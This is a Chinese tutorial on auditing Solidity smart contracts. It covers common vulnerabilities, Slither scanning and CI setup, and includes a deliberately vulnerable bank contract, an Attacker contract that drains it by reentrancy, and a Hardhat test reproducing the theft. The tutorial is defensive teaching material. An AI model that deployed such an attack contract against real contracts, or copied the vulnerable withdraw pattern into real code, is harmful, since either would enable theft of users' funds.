区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,往往就很难“后悔”。传统后端服务写错了还能热修复,合约写错了,轻则资金冻结,重则资产被盗、协议失信。也正因为如此,安全审计不是上线前“走个流程”,而是研发流程的一部分。
这篇文章我会从一个更偏实战的角度来讲:不是只列漏洞清单,而是带你从漏洞识别走到自动化检测流程搭建。如果你已经写过一点 Solidity,想把“会写合约”提升到“能做基础安全审计”,这篇会比较适合你。
背景与问题
很多团队在做合约安全时,容易掉进两个误区:
-
过于依赖人工审计
经验丰富的审计员确实重要,但单靠人眼扫代码,成本高、覆盖有限,而且难以融入日常 CI/CD。 -
过于迷信工具扫描
扫描器能抓到不少模式化问题,但业务逻辑漏洞、权限设计缺陷、经济模型攻击面,工具通常只能给“提示”,不能替你思考。
更现实的问题是:
- 合约模块越来越多:代币、质押、治理、升级代理、预言机交互……
- 一次发布涉及多份合约,依赖复杂
- 漏洞不再只是“重入”这么单一,而是代码缺陷 + 状态机设计错误 + 权限边界失控的组合
所以一个实用的审计流程,应该至少回答三个问题:
- 看什么:常见漏洞有哪些,怎么快速识别?
- 怎么测:如何把关键检测变成自动化?
- 怎么落地:如何接入团队开发流程,减少回归风险?
前置知识
阅读本文前,建议你至少具备这些基础:
- 会看 Solidity 合约
- 知道
msg.sender、tx.origin、call、delegatecall的基本含义 - 用过 Hardhat 或 Foundry 之一
- 对 ERC20 / Ownable / ReentrancyGuard 有基础了解
如果这些还不熟,也没关系,文章里的代码会尽量写得直白一些。
环境准备
下面的示例使用 Hardhat + Solidity + Slither。你可以在 Linux / macOS 环境运行,Windows 建议使用 WSL。
1)初始化项目
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat
选择一个基础 JavaScript 项目即可。
2)安装 OpenZeppelin 合约库
npm install @openzeppelin/contracts
3)安装 Slither
Slither 是非常实用的静态分析工具。
python3 -m pip install slither-analyzer
验证安装:
slither --version
核心原理
智能合约安全审计,本质上是在做三层检查:
-
代码层:有没有典型危险写法
比如重入、整数边界、低级调用返回值未检查、权限缺失 -
状态层:合约状态变更是否满足预期
比如提现前后余额是否一致、状态机是否能被越权跳转 -
系统层:跨合约交互是否存在攻击面
比如外部调用、价格操纵、代理升级、角色错配
我平时做审计,通常会按下面这个顺序推进:
flowchart TD
A[明确业务目标与资产流向] --> B[梳理权限与角色]
B --> C[识别外部调用点]
C --> D[检查状态更新顺序]
D --> E[运行静态分析工具]
E --> F[编写单元测试与攻击测试]
F --> G[接入CI自动化]
这个顺序的好处是:先理解业务,再看代码细节,最后把经验固化成自动化。如果一上来就扫工具报告,很容易淹没在噪音里。
常见漏洞识别:先抓高频,再看上下文
下面挑几个最值得优先关注的点。
1. 重入漏洞
这是最经典的一类问题。典型症状是:
- 合约先向外部地址转账
- 然后才更新内部状态
攻击者可以在回调中再次进入原函数,重复提取资金。
危险模式通常长这样:
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
正确思路一般是:
- 先更新状态,再外部调用
- 或使用
ReentrancyGuard - 或采用 Pull Payment 模式
2. 权限控制缺失
常见问题:
- 关键函数没有
onlyOwner/onlyRole - 升级函数、铸币函数、参数配置函数权限过大
- 初始化函数可被重复调用
这类漏洞往往比代码 bug 更“隐蔽”,因为代码本身可能能正常跑,但权限模型是错的。
3. tx.origin 误用
如果你用 tx.origin 做鉴权,攻击者可以通过中间合约诱导用户发起交易,从而绕过预期限制。
错误示例:
require(tx.origin == owner, "not owner");
应使用:
require(msg.sender == owner, "not owner");
4. 低级调用返回值未检查
例如:
target.call(data);
如果不检查返回值,外部调用失败时可能不会回滚,导致状态不一致。
5. DoS 与 gas 风险
比如在一个函数里遍历大型数组并进行转账,随着数据增长,函数可能永远无法成功执行。
这类问题在测试阶段不容易暴露,因为测试数据量通常太小。
用一个脆弱合约做实战
下面我们故意写一个有问题的“银行合约”,用于演示审计与修复流程。
脆弱合约:contracts/VulnerableBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
address public owner;
constructor() {
owner = msg.sender;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
function emergencyWithdrawAll(address payable to) external {
require(tx.origin == owner, "not owner");
to.transfer(address(this).balance);
}
receive() external payable {}
}
这个合约至少有两个明显问题:
withdraw存在重入风险emergencyWithdrawAll使用了tx.origin
攻击合约:复现重入漏洞
contracts/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Attacker {
IVulnerableBank public bank;
uint256 public attackAmount;
constructor(address bankAddress) {
bank = IVulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value >= 1 ether, "need at least 1 ether");
attackAmount = 1 ether;
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
receive() external payable {
if (address(bank).balance >= attackAmount) {
bank.withdraw(attackAmount);
}
}
}
实战代码(可运行)
我们用 Hardhat 写一个攻击测试,把漏洞真实跑出来。
test/vulnerableBank.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("VulnerableBank", function () {
it("should be drained by reentrancy attack", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
await user.sendTransaction({
to: await bank.getAddress(),
value: ethers.parseEther("5")
});
await bank.connect(user).deposit({
value: ethers.parseEther("5")
});
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await attacker.connect(attackerEOA).attack({
value: ethers.parseEther("1")
});
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
expect(bankBalance).to.equal(0n);
});
});
运行测试:
npx hardhat test
如果一切正常,你会看到攻击成功,银行合约资金被抽干。
这里我特别提醒一个容易踩坑的点:
很多人在测试里既直接给合约转账,又调用deposit,结果没想清楚哪些余额进了mapping,哪些只是进了合约总余额。审计时一定要区分“链上 ETH 余额”和“内部记账余额”。
修复版本:按检查-生效-交互顺序改造
我们来修复这个合约。
contracts/SafeBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract SafeBank is ReentrancyGuard, Ownable {
mapping(address => uint256) public balances;
constructor(address initialOwner) Ownable(initialOwner) {}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
function emergencyWithdrawAll(address payable to) external onlyOwner {
require(to != address(0), "zero address");
(bool ok, ) = to.call{value: address(this).balance}("");
require(ok, "transfer failed");
}
receive() external payable {}
}
这个版本里有三个关键变化:
withdraw增加nonReentrant- 状态更新先于外部调用
- 管理员鉴权改为
onlyOwner,不再使用tx.origin
自动化检测流程搭建
接下来是重点:怎么把审计经验自动化。
我的建议是把自动化检测拆成三层:
- 第 1 层:编译与格式化
- 第 2 层:静态分析
- 第 3 层:单元测试 + 攻击测试
自动化流程图
flowchart LR
A[代码提交] --> B[Solidity编译]
B --> C[单元测试]
C --> D[静态分析 Slither]
D --> E[安全回归测试]
E --> F[允许合并]
使用 Slither 做静态分析
在项目根目录运行:
slither .
对于上面的脆弱合约,Slither 通常会提示类似风险:
- reentrancy
- dangerous usage of
tx.origin - low-level calls
如果你想输出更聚焦的信息,可以先列检测器:
slither --list-detectors
再运行指定检测器:
slither . --detect reentrancy-eth,tx-origin
如何看 Slither 报告
这里有个经验:不要把工具报告当判决书,要把它当线索源。
比如:
-
报告说可能重入
你要回到函数里看:是否真的在外部调用前后修改了关键状态? -
报告说存在低级调用
你要判断:这是必要设计,还是没做结果检查? -
报告说复杂度高
你要思考:这是不是意味着测试覆盖需要加强?
用 GitHub Actions 接入 CI
如果你的代码托管在 GitHub,可以加一个最基础的自动化工作流。
.github/workflows/security.yml
name: security-check
on:
push:
branches: [main, develop]
pull_request:
jobs:
test-and-scan:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
- name: Install Node dependencies
run: npm install
- name: Run Hardhat tests
run: npx hardhat test
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install Slither
run: pip install slither-analyzer
- name: Run Slither
run: slither . --detect reentrancy-eth,tx-origin,unchecked-lowlevel
这个版本不算豪华,但已经能拦住很多低级错误了。
从人工审计到半自动审计的思路
如果你在团队里推动安全流程,我建议用下面这套分层办法:
sequenceDiagram
participant Dev as 开发
participant CI as CI流水线
participant Tool as 静态分析工具
participant Auditor as 审计人员
Dev->>CI: 提交合约代码
CI->>Tool: 编译与静态分析
Tool-->>CI: 输出风险报告
CI->>Dev: 反馈基础问题
Dev->>Auditor: 提交待审版本
Auditor->>Auditor: 业务逻辑/权限模型审查
Auditor-->>Dev: 输出审计建议
这里最重要的不是“全部自动化”,而是把适合自动化的部分尽量前置,把人工时间留给更难的问题:
- 权限边界是否合理
- 经济激励是否能被操纵
- 跨合约协作是否可能被绕过
- 升级与初始化流程是否安全
常见坑与排查
这一部分我尽量写得接地气一些,因为很多问题不是“不会”,而是“测试时没想到”。
坑 1:以为用了 Solidity 0.8+ 就万事大吉
0.8+ 确实默认检查整数溢出,但这只解决了其中一小类问题。
重入、权限、业务逻辑错误、外部依赖风险,都不会因为编译器版本高就自动消失。
坑 2:只测 happy path,不测攻击路径
很多测试只写:
- 正常存款
- 正常提现
- 管理员正常调用
但没有写:
- 恶意合约回调重入
- 非管理员尝试调用
- 余额边界值
- 重复初始化
- 调用失败后的状态回滚
如果没有攻击测试,测试通过其实说明不了太多。
坑 3:把“合约余额”和“用户账本余额”混为一谈
这是审计中非常高频的逻辑坑。
排查时建议每次都问自己两个问题:
- 当前合约链上真实持有多少 ETH / Token?
- 合约内部记账系统认为每个用户持有多少?
这两者不一致时,往往就是漏洞入口。
坑 4:升级代理场景下审计错对象
代理模式下,很多关键逻辑并不在代理合约本身,而在实现合约、初始化函数和存储布局。
排查重点:
- 初始化函数是否只允许执行一次
- 升级权限是否可控
- 存储槽布局是否兼容
- 是否误用
delegatecall
坑 5:静态分析报告太多,不知道先看什么
我的建议是按严重性和利用难度排序:
- 资金直接损失
- 权限接管
- 资金冻结
- 业务中断
- 代码规范和可维护性问题
不要一上来陷入“命名不规范”这种小问题里。
逐步验证清单
如果你准备上线一个中等复杂度的合约,我建议至少跑完这份检查单。
代码级
- 是否存在外部调用前未更新状态的路径
- 是否误用
tx.origin - 所有关键函数是否有权限控制
- 是否检查低级调用返回值
- 是否存在未受控的
delegatecall
状态级
- 提现前后内部余额是否一致
- 失败回滚后状态是否恢复
- 重复调用是否会破坏状态机
- 边界值输入是否安全
系统级
- 是否依赖可被操纵的外部价格
- 是否存在管理员单点风险
- 升级流程是否可审计、可限制
- 多合约交互是否有循环依赖和回调风险
自动化级
- PR 是否自动跑测试
- PR 是否自动跑静态扫描
- 高危规则是否设置为阻断合并
- 是否保留安全回归测试样例
安全/性能最佳实践
安全和性能在智能合约里经常需要一起考虑,因为 gas 成本和执行路径会影响可用性。
1. 遵循 Checks-Effects-Interactions
这是老原则,但真的有用:
- 先校验
- 再更新内部状态
- 最后做外部调用
只要涉及 ETH / Token 转账,我都会先用这个顺序扫一遍。
2. 关键入口加最小权限控制
建议做到:
- 管理函数最小化
- 角色拆分,而不是一个 owner 管所有事
- 对高危操作增加时间锁或多签
3. 对外部调用保持不信任
任何外部地址、外部合约、回调函数,都应该假设它“可能作恶”。
例如:
- 调用前先更新状态
- 调用结果必须检查
- 必要时限制可调用目标
4. 避免大循环与不可控数组遍历
性能问题在链上就是安全问题。
因为 gas 超限会让关键函数无法执行,最终形成 DoS。
优化思路:
- 分批处理
- 用映射替代部分线性遍历
- 将计算移到链下,链上只验证结果
5. 安全测试要保留“回归样本”
每修一个问题,都补一个测试。
这样未来别人改代码时,旧漏洞不容易“复活”。
我自己比较推荐的做法是:
- 一个漏洞,对应一个最小复现测试
- 一个修复,对应一个防回归断言
一个更实用的审计思维模型
很多人学审计时喜欢背漏洞名称,但真正有用的是“资产视角”。
你可以把每个合约都问成三件事:
- 钱从哪里进来?
- 钱怎么出去?
- 谁有权改变规则?
围绕这三个问题,绝大多数高危问题都能被快速逼出来。
stateDiagram-v2
[*] --> 存款
存款 --> 记账
记账 --> 提现申请
提现申请 --> 状态更新
状态更新 --> 外部转账
外部转账 --> [*]
如果你的实际代码顺序不是“状态更新 -> 外部转账”,那就要立刻提高警惕。
总结
智能合约安全审计,不是“把几个漏洞名词背下来”,而是建立一套能重复执行的检查方法:
- 先理解资产流向和权限边界
- 再检查高频漏洞模式
- 最后把经验沉淀到测试和 CI 里
如果你是中级开发者,我建议先从这三步开始落地:
-
手工审计 3 类高危点
重入、权限控制、外部调用顺序 -
给每个高危点补攻击测试
不要只测正常流程,要故意写恶意合约 -
把 Slither + 测试接入 CI
让低级错误在合并前暴露,而不是上线后暴露
最后说个边界条件:
自动化检测非常有价值,但它解决不了全部问题。涉及复杂经济模型、跨协议组合、代理升级、治理攻击时,仍然需要人工深度审计。
如果你把这篇文章里的示例项目真的跑一遍,再自己扩展两个漏洞场景,比如“权限缺失”和“初始化重复调用”,你的审计能力会比只看概念提升得快很多。智能合约安全这件事,最终还是要靠“看得懂 + 能复现 + 会自动拦”。